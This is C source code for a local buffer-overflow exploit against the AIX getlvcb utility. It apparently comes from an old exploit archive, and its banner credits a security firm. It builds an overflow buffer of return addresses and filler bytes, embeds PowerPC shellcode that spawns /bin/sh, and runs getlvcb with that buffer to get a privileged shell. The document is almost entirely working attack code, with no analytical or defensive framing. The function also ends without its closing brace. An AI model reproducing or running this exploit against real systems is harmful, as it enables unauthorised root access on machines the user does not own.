#define OFFSET 0
#define BUFFERSIZE 208
#define NOP "\x7c\xa5\x2a\x79"
#define RETURNADDR 0x2ff22924

char shellcode[ ] =
"\x7e\x94\xa2\x79\x40\x82\xff\xfd\x7e\xa8\x02\xa6\x3a\xb5\x01\x40"
"\x88\x55\xfe\xe0\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6"
"\x4c\xc6\x33\x42\x44\xff\xff\x02\xb6\x05\xff\xff\x7e\x94\xa2\x79"
"\x7e\x84\xa3\x78\x40\x82\xff\xfd\x7e\xa8\x02\xa6\x3a\xb5\x01\x40"
"\x88\x55\xfe\xe0\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6"
"\x4c\xc6\x33\x42\x44\xff\xff\x02\xb7\x05\xff\xff\x38\x75\xff\x04"
"\x38\x95\xff\x0c\x7e\x85\xa3\x78\x90\x75\xff\x0c\x92\x95\xff\x10"
"\x88\x55\xfe\xe1\x9a\x95\xff\x0b\x4b\xff\xff\xd8/bin/sh";

int main( int argc, char *argv[ ] )
{
int i;
int offset = OFFSET, bufferSize = BUFFERSIZE;
unsigned long esp, returnAddress, *addressPointer;
char *buffer, *pointer;

/* Usage */
if( argv[ 1 ] ) {
if( strncmp( argv[ 1 ], "-h", 3 ) == 0 || strncmp( argv[ 1 ], "-H", 3 ) == 0 ) {
printf( "\n\tUsage: %s <buffer size> <offset>\n\n", argv[ 0 ] );
exit( 0 );
}
}

if( argc > 1 ) {
bufferSize = atoi( argv[ 1 ] );
}

if( argc > 2 ) {
offset = atoi( argv[ 2 ] );
}

returnAddress = RETURNADDR - offset;

printf( "\nSecure Network Operations (written by: mattox@secnetops.com)\n" );
printf( "AIX Local getlvncb exploit\n\n" );
printf( "Fixin to overwrite the address: 0x%x\n", returnAddress );
printf( "Using a buffer size of: %i\n", bufferSize );
printf( "And an offset of: %i\n", offset );

if( !( buffer = malloc( bufferSize ) ) ) {
printf( "Coundn't allocate memory.\n" );
exit( 0 );
}

/* I know, this is weird stuff...had to sub odd number to get ret addy to align */
pointer = buffer - 1;

addressPointer = ( long * )pointer;

for( i = 0; i < bufferSize; i+=4 ) {
*( addressPointer++ ) = returnAddress;
}

for( i = 0; i < ( bufferSize / 2 ); i+=4 ) {
buffer[ i ] = ( unsigned long )NOP;
}

pointer = buffer + ( ( bufferSize / 2 ) - ( strlen( shellcode )/2 ) );

for( i = 0; i < strlen( shellcode ); i++ ) {
*( pointer++ ) = shellcode[ i ];
}

buffer[ bufferSize - 1 ] = '\0';

execl( "/usr/sbin/getlvcb", "getlvcb", buffer, 0 );

free( buffer );

return 0;